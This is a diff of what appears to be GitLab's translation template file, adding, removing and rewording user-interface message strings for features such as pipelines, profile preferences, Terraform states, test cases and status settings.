@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
